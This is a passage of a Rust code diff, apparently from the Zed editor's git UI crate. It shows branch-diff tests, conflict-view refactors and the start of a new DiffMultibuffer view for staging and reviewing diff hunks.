+                    })
+                    .collect()
+            });
+
+        assert_eq!(
+            statuses,
+            HashMap::from_iter([
+                (
+                    rel_path("a.txt").into_arc(),
+                    Some(FileStatus::Tracked(TrackedStatus {
+                        index_status: git::status::StatusCode::Modified,
+                        worktree_status: git::status::StatusCode::Modified
+                    }))
+                ),
+                (rel_path("b.txt").into_arc(), Some(FileStatus::Untracked)),
+                (
+                    rel_path("d.txt").into_arc(),
+                    Some(FileStatus::Tracked(TrackedStatus {
+                        index_status: git::status::StatusCode::Added,
+                        worktree_status: git::status::StatusCode::Added
+                    }))
+                )
+            ])
+        );
+    }
+
+    #[gpui::test]
+    async fn test_branch_diff_action_matches_existing_item_by_base_ref(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "a.txt": "changed",
+            }),
+        )
+        .await;
+        let project = Project::test(fs.clone(), [path!("/project").as_ref()], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+
+        let target_branch_diff = cx
+            .update(|window, cx| {
+                let Some(repository) = project.read(cx).active_repository(cx) else {
+                    return Task::ready(Err(anyhow!("No active repository")));
+                };
+                BranchDiff::new_with_branch_base(
+                    project.clone(),
+                    workspace.clone(),
+                    "topic".into(),
+                    repository,
+                    window,
+                    cx,
+                )
+            })
+            .await
+            .unwrap();
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.add_item_to_active_pane(
+                Box::new(target_branch_diff.clone()),
+                None,
+                true,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+
+        cx.focus(&workspace);
+        cx.update(|window, cx| {
+            window.dispatch_action(DeployBranchDiff.boxed_clone(), cx);
+        });
+        cx.run_until_parked();
+
+        let (active_base_ref, mut base_refs) = workspace.update(cx, |workspace, cx| {
+            let active_item = workspace.active_item_as::<BranchDiff>(cx).unwrap();
+            let active_base_ref = match active_item.read(cx).diff_base(cx) {
+                DiffBase::Merge { base_ref } => base_ref.to_string(),
+                DiffBase::Head | DiffBase::Index | DiffBase::Staged => {
+                    panic!("expected active item to be a branch diff")
+                }
+            };
+            let base_refs = workspace
+                .items_of_type::<BranchDiff>(cx)
+                .filter_map(|item| match item.read(cx).diff_base(cx) {
+                    DiffBase::Merge { base_ref } => Some(base_ref.to_string()),
+                    DiffBase::Head | DiffBase::Index | DiffBase::Staged => None,
+                })
+                .collect::<Vec<_>>();
+            (active_base_ref, base_refs)
+        });
+        base_refs.sort();
+
+        assert_eq!(active_base_ref, "origin/main");
+        assert_eq!(base_refs, vec!["origin/main", "topic"]);
+    }
+}
diff --git a/crates/git_ui/src/commit_view.rs b/crates/git_ui/src/commit_view.rs
index 9fff74d3983897..a45590260dad2d 100644
--- a/crates/git_ui/src/commit_view.rs
+++ b/crates/git_ui/src/commit_view.rs
@@ -2,8 +2,8 @@ use anyhow::{Context as _, Result};
 use buffer_diff::BufferDiff;
 use collections::HashMap;
 use editor::{
-    Addon, Editor, EditorEvent, EditorSettings, MultiBuffer, SplittableEditor,
-    hover_markdown_style, multibuffer_context_lines,
+    Addon, Editor, EditorEvent, EditorSettings, MultiBuffer, RestoreOnlyDiffHunkDelegate,
+    SplittableEditor, hover_markdown_style, multibuffer_context_lines,
 };
 use futures_lite::future::yield_now;
 use git::repository::{CommitDetails, CommitDiff, RepoPath, is_binary_content};
@@ -275,7 +275,7 @@ impl CommitView {
                 window,
                 cx,
             );
-            editor.disable_diff_hunk_controls(cx);
+            editor.set_diff_hunk_delegate(Some(Arc::new(RestoreOnlyDiffHunkDelegate)), cx);
 
             editor.rhs_editor().update(cx, |editor, cx| {
                 editor.set_show_bookmarks(false, cx);
@@ -1193,7 +1193,7 @@ impl Item for CommitView {
                         window,
                         cx,
                     );
-                    editor.disable_diff_hunk_controls(cx);
+                    editor.set_diff_hunk_delegate(Some(Arc::new(RestoreOnlyDiffHunkDelegate)), cx);
                     editor.rhs_editor().update(cx, |editor, cx| {
                         editor.set_show_bookmarks(false, cx);
                         editor.set_show_breakpoints(false, cx);
diff --git a/crates/git_ui/src/conflict_view.rs b/crates/git_ui/src/conflict_view.rs
index 309a118078128a..1199afb9d4443c 100644
--- a/crates/git_ui/src/conflict_view.rs
+++ b/crates/git_ui/src/conflict_view.rs
@@ -17,7 +17,7 @@ use project::{
 use settings::Settings;
 use std::{ops::Range, sync::Arc};
 use ui::{ButtonLike, Divider, Tooltip, prelude::*};
-use util::{debug_panic, maybe};
+use util::debug_panic;
 use workspace::{HideStatusItem, StatusItemView, Workspace, item::ItemHandle};
 use zed_actions::agent::{
     ConflictContent, ResolveConflictedFilesWithAgent, ResolveConflictsWithAgent,
@@ -115,19 +115,17 @@ pub(crate) fn buffer_ranges_updated(
         return;
     }
 
-    let buffer_conflicts = editor
-        .addon_mut::<ConflictAddon>()
-        .unwrap()
-        .buffers
-        .entry(buffer_id)
-        .or_insert_with(|| {
-            let subscription = cx.subscribe(&conflict_set, conflicts_updated);
-            BufferConflicts {
-                block_ids: Vec::new(),
-                conflict_set: conflict_set.clone(),
-                _subscription: subscription,
-            }
-        });
+    let Some(conflict_addon) = editor.addon_mut::<ConflictAddon>() else {
+        return;
+    };
+    let buffer_conflicts = conflict_addon.buffers.entry(buffer_id).or_insert_with(|| {
+        let subscription = cx.subscribe(&conflict_set, conflicts_updated);
+        BufferConflicts {
+            block_ids: Vec::new(),
+            conflict_set: conflict_set.clone(),
+            _subscription: subscription,
+        }
+    });
 
     let conflict_set = buffer_conflicts.conflict_set.clone();
     let conflicts_len = conflict_set.read(cx).snapshot().conflicts.len();
@@ -150,18 +148,17 @@ pub(crate) fn buffers_removed(
     cx: &mut Context<Editor>,
 ) {
     let mut removed_block_ids = HashSet::default();
-    editor
-        .addon_mut::<ConflictAddon>()
-        .unwrap()
-        .buffers
-        .retain(|buffer_id, buffer| {
-            if removed_buffer_ids.contains(buffer_id) {
-                removed_block_ids.extend(buffer.block_ids.iter().map(|(_, block_id)| *block_id));
-                false
-            } else {
-                true
-            }
-        });
+    let Some(conflict_addon) = editor.addon_mut::<ConflictAddon>() else {
+        return;
+    };
+    conflict_addon.buffers.retain(|buffer_id, buffer| {
+        if removed_buffer_ids.contains(buffer_id) {
+            removed_block_ids.extend(buffer.block_ids.iter().map(|(_, block_id)| *block_id));
+            false
+        } else {
+            true
+        }
+    });
     editor.remove_blocks(removed_block_ids, None, cx);
 }
 
@@ -176,9 +173,13 @@ fn conflicts_updated(
     let conflict_set = conflict_set.read(cx).snapshot();
     let multibuffer = editor.buffer().read(cx);
     let snapshot = multibuffer.snapshot(cx);
-    let old_range = maybe!({
-        let conflict_addon = editor.addon_mut::<ConflictAddon>().unwrap();
-        let buffer_conflicts = conflict_addon.buffers.get(&buffer_id)?;
+    let old_range = {
+        let Some(conflict_addon) = editor.addon_mut::<ConflictAddon>() else {
+            return;
+        };
+        let Some(buffer_conflicts) = conflict_addon.buffers.get(&buffer_id) else {
+            return;
+        };
         match buffer_conflicts.block_ids.get(event.old_range.clone()) {
             Some(_) => Some(event.old_range.clone()),
             None => {
@@ -197,10 +198,12 @@ fn conflicts_updated(
                 }
             }
         }
-    });
+    };
 
     // Remove obsolete highlights and blocks
-    let conflict_addon = editor.addon_mut::<ConflictAddon>().unwrap();
+    let Some(conflict_addon) = editor.addon_mut::<ConflictAddon>() else {
+        return;
+    };
     if let Some((buffer_conflicts, old_range)) = conflict_addon
         .buffers
         .get_mut(&buffer_id)
@@ -256,7 +259,9 @@ fn conflicts_updated(
     }
     let new_block_ids = editor.insert_blocks(blocks, None, cx);
 
-    let conflict_addon = editor.addon_mut::<ConflictAddon>().unwrap();
+    let Some(conflict_addon) = editor.addon_mut::<ConflictAddon>() else {
+        return;
+    };
     if let Some((buffer_conflicts, old_range)) =
         conflict_addon.buffers.get_mut(&buffer_id).zip(old_range)
     {
@@ -481,7 +486,7 @@ pub(crate) fn resolve_conflict(
                 let buffer_id = resolved_conflict.ours.end.buffer_id;
                 let buffer = multibuffer.read(cx).buffer(buffer_id)?;
                 resolved_conflict.resolve(buffer.clone(), &ranges, cx);
-                let conflict_addon = editor.addon_mut::<ConflictAddon>().unwrap();
+                let conflict_addon = editor.addon_mut::<ConflictAddon>()?;
                 let snapshot = multibuffer.read(cx).snapshot(cx);
                 let buffer_snapshot = buffer.read(cx).snapshot();
                 let state = conflict_addon
diff --git a/crates/git_ui/src/diff_multibuffer.rs b/crates/git_ui/src/diff_multibuffer.rs
new file mode 100644
index 00000000000000..96c05303719e2d
--- /dev/null
+++ b/crates/git_ui/src/diff_multibuffer.rs
@@ -0,0 +1,1016 @@
+use crate::{
+    conflict_view,
+    git_panel::{GitPanel, GitStatusEntry},
+    git_panel_settings::GitPanelSettings,
+};
+use anyhow::Result;
+use buffer_diff::BufferDiff;
+use collections::{HashMap, HashSet};
+use editor::{
+    EditorEvent, EditorSettings, SelectionEffects, SplittableEditor, actions::GoToHunk,
+    multibuffer_context_lines, scroll::Autoscroll,
+};
+use futures_lite::future::yield_now;
+use git::{repository::RepoPath, status::FileStatus};
+use gpui::{
+    App, AppContext as _, AsyncWindowContext, Entity, EventEmitter, FocusHandle, Focusable, Render,
+    SharedString, Subscription, Task, WeakEntity,
+};
+use language::{Anchor, Buffer, BufferId, Capability, OffsetRangeExt};
+use multi_buffer::{MultiBuffer, PathKey};
+use project::{
+    ConflictSet, Project, ProjectPath,
+    git_store::{
+        Repository,
+        diff_buffer_list::{self, BranchDiffEvent, DiffBase},
+    },
+};
+use settings::{GitPanelGroupBy, GitPanelSortBy, Settings, SettingsStore};
+use std::{collections::BTreeMap, sync::Arc};
+use theme::ActiveTheme;
+use ui::{CommonAnimationExt as _, KeyBinding, prelude::*};
+use util::{ResultExt as _, rel_path::RelPath};
+use workspace::{
+    CloseActiveItem, ItemNavHistory, Workspace,
+    item::{Item, SaveOptions},
+};
+use ztracing::instrument;
+
+struct BufferSubscriptions {
+    _diff: Entity<BufferDiff>,
+    display_buffer: Entity<Buffer>,
+    _diff_subscription: Subscription,
+    _conflict_set: Option<Entity<ConflictSet>>,
+    _conflict_set_subscription: Option<Subscription>,
+}
+
+pub struct DiffMultibuffer {
+    multibuffer: Entity<MultiBuffer>,
+    branch_diff: Entity<diff_buffer_list::DiffBufferList>,
+    editor: Entity<SplittableEditor>,
+    buffer_subscriptions: HashMap<RepoPath, BufferSubscriptions>,
+    workspace: WeakEntity<Workspace>,
+    focus_handle: FocusHandle,
+    pending_scroll: Option<PathKey>,
+    review_comment_count: usize,
+    empty_label: SharedString,
+    _task: Task<Result<()>>,
+    _subscription: Subscription,
+}
+
+impl DiffMultibuffer {
+    pub(crate) fn new(
+        branch_diff: Entity<diff_buffer_list::DiffBufferList>,
+        multibuffer_capability: Capability,
+        empty_label: impl Into<SharedString>,
+        configure_editor: impl FnOnce(&mut SplittableEditor, &mut Context<SplittableEditor>) + 'static,
+        project: Entity<Project>,
+        workspace: Entity<Workspace>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Self {
+        let focus_handle = cx.focus_handle();
+        let multibuffer = cx.new(|cx| {
+            let mut multibuffer = MultiBuffer::new(multibuffer_capability);
+            multibuffer.set_all_diff_hunks_expanded(cx);
+            multibuffer
+        });
+        let editor = cx.new(|cx| {
+            let mut diff_display_editor = SplittableEditor::new(
+                EditorSettings::get_global(cx).diff_view_style,
+                multibuffer.clone(),
+                project.clone(),
+                workspace.clone(),
+                window,
+                cx,
+            );
+            configure_editor(&mut diff_display_editor, cx);
+            diff_display_editor.rhs_editor().update(cx, |editor, cx| {
+                editor.set_show_diff_review_button(true, cx);
+            });
+            diff_display_editor
+        });
+        let editor_subscription = cx.subscribe_in(&editor, window, Self::handle_editor_event);
+
+        let primary_editor = editor.read(cx).rhs_editor().clone();
+        let review_comment_subscription =
+            cx.subscribe(&primary_editor, |this, _editor, event: &EditorEvent, cx| {
+                if let EditorEvent::ReviewCommentsChanged { total_count } = event {
+                    this.review_comment_count = *total_count;
+                    cx.notify();
+                }
+            });
+
+        let branch_diff_subscription = cx.subscribe_in(
+            &branch_diff,
+            window,
+            move |this, _git_store, event, window, cx| match event {
+                BranchDiffEvent::FileListChanged => {
+                    this._task = window.spawn(cx, {
+                        let this = cx.weak_entity();
+                        async |cx| Self::refresh(this, cx).await
+                    })
+                }
+                BranchDiffEvent::DiffBaseChanged => {
+                    this.pending_scroll.take();
+                    this._task = window.spawn(cx, {
+                        let this = cx.weak_entity();
+                        async |cx| Self::refresh(this, cx).await
+                    })
+                }
+            },
+        );
+
+        let mut was_sort_by = GitPanelSettings::get_global(cx).sort_by;
+        let mut was_group_by = GitPanelSettings::get_global(cx).group_by;
+        let mut was_tree_view = GitPanelSettings::get_global(cx).tree_view;
+        let mut was_collapse_untracked_diff =
+            GitPanelSettings::get_global(cx).collapse_untracked_diff;
+        cx.observe_global_in::<SettingsStore>(window, move |this, window, cx| {
+            let settings = GitPanelSettings::get_global(cx);
+            let sort_by = settings.sort_by;
+            let group_by = settings.group_by;
+            let tree_view = settings.tree_view;
+            let is_collapse_untracked_diff = settings.collapse_untracked_diff;
+            if sort_by != was_sort_by
+                || group_by != was_group_by
+                || tree_view != was_tree_view
+                || is_collapse_untracked_diff != was_collapse_untracked_diff
+            {
+                this._task = {
+                    window.spawn(cx, {
+                        let this = cx.weak_entity();
+                        async |cx| Self::refresh(this, cx).await
+                    })
+                }
+            }
+            was_sort_by = sort_by;
+            was_group_by = group_by;
+            was_tree_view = tree_view;
+            was_collapse_untracked_diff = is_collapse_untracked_diff;
+        })
+        .detach();
+
+        let task = window.spawn(cx, {
+            let this = cx.weak_entity();
+            async |cx| Self::refresh(this, cx).await
+        });
+
+        Self {
+            workspace: workspace.downgrade(),
+            branch_diff,
+            focus_handle,
+            editor,
+            multibuffer,
+            buffer_subscriptions: Default::default(),
+            pending_scroll: None,
+            review_comment_count: 0,
+            empty_label: empty_label.into(),
+            _task: task,
+            _subscription: Subscription::join(
+                branch_diff_subscription,
+                Subscription::join(editor_subscription, review_comment_subscription),
+            ),
+        }
+    }
+
+    pub(crate) fn diff_base<'a>(&'a self, cx: &'a App) -> &'a DiffBase {
+        self.branch_diff.read(cx).diff_base()
+    }
+
+    pub(crate) fn branch_diff(&self) -> &Entity<diff_buffer_list::DiffBufferList> {
+        &self.branch_diff
+    }
+
+    pub(crate) fn repo(&self, cx: &App) -> Option<Entity<Repository>> {
+        self.branch_diff.read(cx).repo().cloned()
+    }
+
+    pub(crate) fn set_repo(&mut self, repo: Option<Entity<Repository>>, cx: &mut Context<Self>) {
+        self.branch_diff.update(cx, |branch_diff, cx| {
+            branch_diff.set_repo(repo, cx);
+        });
+    }
+
+    pub(crate) fn is_dirty(&self, cx: &App) -> bool {
+        self.multibuffer.read(cx).is_dirty(cx)
+    }
+
+    pub(crate) fn has_conflict(&self, cx: &App) -> bool {
+        self.multibuffer.read(cx).has_conflict(cx)
+    }
+
+    pub(crate) fn multibuffer(&self) -> &Entity<MultiBuffer> {
+        &self.multibuffer
+    }
+
+    pub(crate) fn move_to_entry(
+        &mut self,
+        entry: GitStatusEntry,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(git_repo) = self.branch_diff.read(cx).repo() else {
+            return;
+        };
+        let repo = git_repo.read(cx);
+        let path_key = project_diff_path_key(repo, &entry.repo_path, entry.status, cx);
+
+        self.move_to_path(path_key, window, cx)
+    }
+
+    pub(crate) fn move_to_project_path(
+        &mut self,
+        project_path: &ProjectPath,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(git_repo) = self.branch_diff.read(cx).repo() else {
+            return;
+        };
+        let Some(repo_path) = git_repo
+            .read(cx)
+            .project_path_to_repo_path(project_path, cx)
+        else {
+            return;
+        };
+        let status = git_repo
+            .read(cx)
+            .status_for_path(&repo_path)
+            .map(|entry| entry.status)
+            .unwrap_or(FileStatus::Untracked);
+        let path_key = project_diff_path_key(&git_repo.read(cx), &repo_path, status, cx);
+        self.move_to_path(path_key, window, cx)
+    }
+
+    pub(crate) fn move_to_beginning(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        self.editor.update(cx, |editor, cx| {
+            editor.rhs_editor().update(cx, |editor, cx| {
+                editor.change_selections(Default::default(), window, cx, |s| {
+                    s.select_ranges(vec![multi_buffer::Anchor::Min..multi_buffer::Anchor::Min]);
+                });
+            });
+        });
+    }
+
+    pub(crate) fn move_to_path(
+        &mut self,
+        path_key: PathKey,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if let Some(position) = self.multibuffer.read(cx).location_for_path(&path_key, cx) {
+            self.editor.update(cx, |editor, cx| {
+                editor.rhs_editor().update(cx, |editor, cx| {
+                    editor.change_selections(
+                        SelectionEffects::scroll(Autoscroll::focused()),
+                        window,
+                        cx,
+                        |s| {
+                            s.select_ranges([position..position]);
+                        },
+                    )
+                })
+            });
+        } else {
+            self.pending_scroll = Some(path_key);
+        }
+    }
+
+    pub(crate) fn autoscroll(&self, cx: &mut Context<Self>) {
+        self.editor.update(cx, |editor, cx| {
+            editor.rhs_editor().update(cx, |editor, cx| {
+                editor.request_autoscroll(Autoscroll::fit(), cx);
+            })
+        })
+    }
+
+    pub(crate) fn calculate_changed_lines(&self, cx: &App) -> (u32, u32) {
+        self.multibuffer.read(cx).snapshot(cx).total_changed_lines()
+    }
+
+    /// Returns the total count of review comments across all hunks/files.
+    pub(crate) fn total_review_comment_count(&self) -> usize {
+        self.review_comment_count
+    }
+
+    /// Returns a reference to the splittable editor.
+    pub(crate) fn editor(&self) -> &Entity<SplittableEditor> {
+        &self.editor
+    }
+
+    pub(crate) fn selected_ranges(
+        &self,
+        cx: &App,
+    ) -> (bool, Vec<std::ops::Range<multi_buffer::Anchor>>) {
+        let editor = self.editor.read(cx).rhs_editor().read(cx);
+        let snapshot = self.multibuffer.read(cx).snapshot(cx);
+        let mut selection = true;
+        let mut ranges = editor
+            .selections
+            .disjoint_anchor_ranges()
+            .collect::<Vec<_>>();
+        if !ranges.iter().any(|range| range.start != range.end) {
+            selection = false;
+            let anchor = editor.selections.newest_anchor().head();
+            if let Some((_, excerpt_range)) = snapshot.excerpt_containing(anchor..anchor)
+                && let Some(range) = snapshot
+                    .anchor_in_buffer(excerpt_range.context.start)
+                    .zip(snapshot.anchor_in_buffer(excerpt_range.context.end))
+                    .map(|(start, end)| start..end)
+            {
+                ranges = vec![range];
+            } else {
+                ranges = Vec::default();
+            };
+        }
+
+        (selection, ranges)
+    }
+
+    /// Ranges for a toolbar stage/unstage action: the selection, or the cursor
+    /// (a zero-width range that resolves to the single hunk under it) when
+    /// there is no selection. Unlike [`Self::selected_ranges`], this never
+    /// widens to the whole excerpt, so actions affect one hunk at a time.
+    fn hunk_action_ranges(&self, cx: &App) -> Vec<std::ops::Range<multi_buffer::Anchor>> {
+        self.editor
+            .read(cx)
+            .rhs_editor()
+            .read(cx)
+            .selections
+            .disjoint_anchor_ranges()
+            .collect()
+    }
+
+    pub(crate) fn stage_or_unstage_selected_hunks(
+        &mut self,
+        stage: bool,
+        move_to_next: bool,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let editor = self.editor.read(cx).rhs_editor().clone();
+        let ranges = self.hunk_action_ranges(cx);
+        // Route through the editor's delegated stage path, the same path taken
+        // by the hunk buttons (on either side of a split) and the keyboard.
+        // For staging, dirty buffers are saved first, exactly as they are when
+        // staging from the uncommitted diff or a normal editor.
+        editor.update(cx, |editor, cx| {
+            editor.stage_or_unstage_diff_hunks(stage, ranges, window, cx);
+        });
+        if move_to_next {
+            editor
+                .focus_handle(cx)
+                .dispatch_action(&GoToHunk, window, cx);
+        }
+    }
+
+    fn handle_editor_event(
+        &mut self,
+        editor: &Entity<SplittableEditor>,
+        event: &EditorEvent,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        match event {
+            EditorEvent::SelectionsChanged { local: true } => {
+                // Only follow the git panel selection from the view the user is
+                // actually interacting with. Background (non-active) diff views
+                // refresh on their own and must not hijack the panel selection.
+                if !editor.focus_handle(cx).contains_focused(window, cx) {
+                    return;
+                }
+                let Some(project_path) = self.active_project_path(cx) else {
+                    return;
+                };
+                self.workspace
+                    .update(cx, |workspace, cx| {
+                        if let Some(git_panel) = workspace.panel::<GitPanel>(cx) {
+                            git_panel.update(cx, |git_panel, cx| {
+                                git_panel.select_entry_by_path(project_path, window, cx)
+                            })
+                        }
+                    })
+                    .ok();
+            }
+            EditorEvent::Saved => {
+                self._task =
+                    cx.spawn_in(window, async move |this, cx| Self::refresh(this, cx).await);
+            }
+
+            _ => {}
+        }
+        if editor.focus_handle(cx).contains_focused(window, cx)
+            && self.multibuffer.read(cx).is_empty()
+        {
+            self.focus_handle.focus(window, cx)
+        }
+    }
+
+    #[instrument(skip_all)]
+    fn register_buffer(
+        &mut self,
+        repo_path: RepoPath,
+        path_key: PathKey,
+        file_status: FileStatus,
+        display_buffer: Entity<Buffer>,
+        main_buffer: Entity<Buffer>,
+        diff: Entity<BufferDiff>,
+        conflict_set: Option<Entity<ConflictSet>>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Option<BufferId> {
+        let diff_subscription = cx.subscribe_in(&diff, window, {
+            let repo_path = repo_path.clone();
+            let path_key = path_key.clone();
+            let display_buffer = display_buffer.clone();
+            let main_buffer = main_buffer.clone();
+            let diff = diff.clone();
+            let conflict_set = conflict_set.clone();
+            move |this, _, event, window, cx| match event {
+                buffer_diff::BufferDiffEvent::DiffChanged(_) => {
+                    this.buffer_ranges_changed(
+                        repo_path.clone(),
+                        path_key.clone(),
+                        file_status,
+                        display_buffer.clone(),
+                        main_buffer.clone(),
+                        diff.clone(),
+                        conflict_set.clone(),
+                        window,
+                        cx,
+                    );
+                }
+                buffer_diff::BufferDiffEvent::BaseTextChanged => {}
+            }
+        });
+        let conflict_set_subscription = conflict_set.as_ref().map(|conflict_set| {
+            cx.subscribe_in(conflict_set, window, {
+                let repo_path = repo_path.clone();
+                let path_key = path_key.clone();
+                let display_buffer = display_buffer.clone();
+                let main_buffer = main_buffer.clone();
+                let diff = diff.clone();
+                let conflict_set = Some(conflict_set.clone());
+                move |this, _, _, window, cx| {
+                    this.buffer_ranges_changed(
+                        repo_path.clone(),
+                        path_key.clone(),
+                        file_status,
+                        display_buffer.clone(),
+                        main_buffer.clone(),
+                        diff.clone(),
+                        conflict_set.clone(),
+                        window,
+                        cx,
+                    )
+                }
+            })
+        });
+        self.buffer_subscriptions.insert(
+            repo_path,
+            BufferSubscriptions {
+                _diff: diff.clone(),
+                display_buffer: display_buffer.clone(),
+                _diff_subscription: diff_subscription,
+                _conflict_set: conflict_set.clone(),
+                _conflict_set_subscription: conflict_set_subscription,
+            },
+        );
+
+        let snapshot = display_buffer.read(cx).snapshot();
+        let diff_snapshot = diff.read(cx).snapshot(cx);
+
+        let excerpt_ranges = {
+            let diff_hunk_ranges = diff_snapshot
+                .hunks_intersecting_range(
+                    Anchor::min_max_range_for_buffer(snapshot.remote_id()),
+                    &snapshot,
+                )
+                .map(|diff_hunk| diff_hunk.buffer_range.to_point(&snapshot));
+            let conflict_ranges = conflict_set.as_ref().and_then(|conflict_set| {
+                let conflicts = conflict_set.read(cx).snapshot();
+                let conflicts = conflicts
+                    .conflicts
+                    .iter()
+                    .map(|conflict| conflict.range.to_point(&snapshot))
+                    .collect::<Vec<_>>();
+                (!conflicts.is_empty()).then_some(conflicts)
+            });
+
+            conflict_ranges.unwrap_or_else(|| diff_hunk_ranges.collect())
+        };
+
+        let buffer_id = snapshot.text.remote_id();
+        let mut needs_fold = false;
+
+        let (was_empty, is_excerpt_newly_added) = self.editor.update(cx, |editor, cx| {
+            let was_empty = editor.rhs_editor().read(cx).buffer().read(cx).is_empty();
+            let is_newly_added = editor.update_excerpts_for_path(
+                path_key.clone(),
+                display_buffer,
+                excerpt_ranges,
+                multibuffer_context_lines(cx),
+                diff,
+                cx,
+            );
+            if let Some(conflict_set) = conflict_set {
+                editor.rhs_editor().update(cx, |editor, cx| {
+                    conflict_view::buffer_ranges_updated(editor, conflict_set, cx);
+                });
+            }
+            (was_empty, is_newly_added)
+        });
+
+        self.editor.update(cx, |editor, cx| {
+            editor.rhs_editor().update(cx, |editor, cx| {
+                if was_empty {
+                    editor.change_selections(
+                        SelectionEffects::no_scroll(),
+                        window,
+                        cx,
+                        |selections| {
+                            selections.select_ranges([
+                                multi_buffer::Anchor::Min..multi_buffer::Anchor::Min
+                            ])
+                        },
+                    );
+                }
+                if is_excerpt_newly_added
+                    && (file_status.is_deleted()
+                        || (file_status.is_untracked()
+                            && GitPanelSettings::get_global(cx).collapse_untracked_diff))
+                {
+                    needs_fold = true;
+                }
+            })
+        });
+
+        if self.multibuffer.read(cx).is_empty()
+            && self
+                .editor
+                .read(cx)
+                .focus_handle(cx)
+                .contains_focused(window, cx)
+        {
+            self.focus_handle.focus(window, cx);
+        } else if self.focus_handle.is_focused(window) && !self.multibuffer.read(cx).is_empty() {
+            self.editor.update(cx, |editor, cx| {
+                editor.focus_handle(cx).focus(window, cx);
+            });
+        }
+        if self.pending_scroll.as_ref() == Some(&path_key) {
+            self.move_to_path(path_key, window, cx);
+        }
+
+        needs_fold.then_some(buffer_id)
+    }
+
+    fn buffer_ranges_changed(
+        &mut self,
+        repo_path: RepoPath,
+        path_key: PathKey,
+        file_status: FileStatus,
+        display_buffer: Entity<Buffer>,
+        main_buffer: Entity<Buffer>,
+        diff: Entity<BufferDiff>,
+        conflict_set: Option<Entity<ConflictSet>>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if display_buffer.read(cx).is_dirty() {
+            return;
+        }
+        self.register_buffer(
+            repo_path,
+            path_key,
+            file_status,
+            display_buffer,
+            main_buffer,
+            diff,
+            conflict_set,
+            window,
+            cx,
+        );
+    }
+
+    #[instrument(skip(this, cx))]
+    pub(crate) async fn refresh(this: WeakEntity<Self>, cx: &mut AsyncWindowContext) -> Result<()> {
+        let entries = this.update(cx, |this, cx| {
+            let (repo, buffers_to_load) = this.branch_diff.update(cx, |branch_diff, cx| {
+                let load_buffers = branch_diff.load_buffers(cx);
+                (branch_diff.repo().cloned(), load_buffers)
+            });
+            let mut previous_paths = this
+                .multibuffer
+                .read(cx)
+                .snapshot(cx)
+                .buffers_with_paths()
+                .map(|(buffer_snapshot, path_key)| (path_key.clone(), buffer_snapshot.remote_id()))
+                .collect::<HashMap<_, _>>();
+
+            let mut entries = BTreeMap::new();
+            let mut live_repo_paths = HashSet::default();
+            if let Some(repo) = repo {
+                let repo = repo.read(cx);
+                for diff_buffer in buffers_to_load {
+                    live_repo_paths.insert(diff_buffer.repo_path.clone());
+                    let path_key = project_diff_path_key(
+                        &repo,
+                        &diff_buffer.repo_path,
+                        diff_buffer.file_status,
+                        cx,
+                    );
+                    previous_paths.remove(&path_key);
+                    entries.insert(path_key, diff_buffer);
+                }
+            }
+
+            let repo_path_by_display_id = this
+                .buffer_subscriptions
+                .iter()
+                .map(|(repo_path, sub)| {
+                    (sub.display_buffer.read(cx).remote_id(), repo_path.clone())
+                })
+                .collect::<HashMap<_, _>>();
+
+            this.editor.update(cx, |editor, cx| {
+                for (path, buffer_id) in previous_paths {
+                    if let Some(repo_path) = repo_path_by_display_id.get(&buffer_id) {
+                        this.buffer_subscriptions.remove(repo_path);
+                    }
+                    editor.rhs_editor().update(cx, |editor, cx| {
+                        conflict_view::buffers_removed(editor, &[buffer_id], cx);
+                    });
+                    let _span = ztracing::info_span!("remove_excerpts_for_path");
+                    _span.enter();
+                    editor.remove_excerpts_for_path(path, cx);
+                }
+            });
+
+            this.buffer_subscriptions
+                .retain(|repo_path, _| live_repo_paths.contains(repo_path));
+
+            entries
+        })?;
+
+        let mut buffers_to_fold = Vec::new();
+
+        for (path_key, entry) in entries {
+            if let Some(loaded_buffer) = entry.load.await.log_err() {
+                // We might be lagging behind enough that all future entry.load futures are no longer pending.
+                // If that is the case, this task will never yield, starving the foreground thread of execution time.
+                yield_now().await;
+                cx.update(|window, cx| {
+                    this.update(cx, |this, cx| {
+                        if let Some(buffer_id) = this.register_buffer(
+                            entry.repo_path,
+                            path_key,
+                            entry.file_status,
+                            loaded_buffer.display_buffer,
+                            loaded_buffer.main_buffer,
+                            loaded_buffer.diff,
+                            loaded_buffer.conflict_set,
+                            window,
+                            cx,
+                        ) {
+                            buffers_to_fold.push(buffer_id);
+                        }
+                    })
+                    .ok();
+                })?;
+            }
+        }
+        this.update(cx, |this, cx| {
+            if !buffers_to_fold.is_empty() {
+                this.editor.update(cx, |editor, cx| {
+                    editor
+                        .rhs_editor()
+                        .update(cx, |editor, cx| editor.fold_buffers(buffers_to_fold, cx));
+                });
+            }
+            this.pending_scroll.take();
+            cx.notify();
+        })?;
+
+        Ok(())
+    }
+
+    pub(crate) fn active_project_path(&self, cx: &App) -> Option<ProjectPath> {
+        let editor = self.editor.read(cx).focused_editor().read(cx);
+        let multibuffer = editor.buffer().read(cx);
+        let position = editor.selections.newest_anchor().head();
+        let snapshot = multibuffer.snapshot(cx);
+        let (text_anchor, _) = snapshot.anchor_to_buffer_anchor(position)?;
+        let buffer = multibuffer.buffer(text_anchor.buffer_id)?;
+
+        let file = buffer.read(cx).file()?;
+        Some(ProjectPath {
+            worktree_id: file.worktree_id(cx),
+            path: file.path().clone(),
+        })
+    }
+
+    pub(crate) fn added_to_workspace(
+        &mut self,
+        workspace: &mut Workspace,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.editor.update(cx, |editor, cx| {
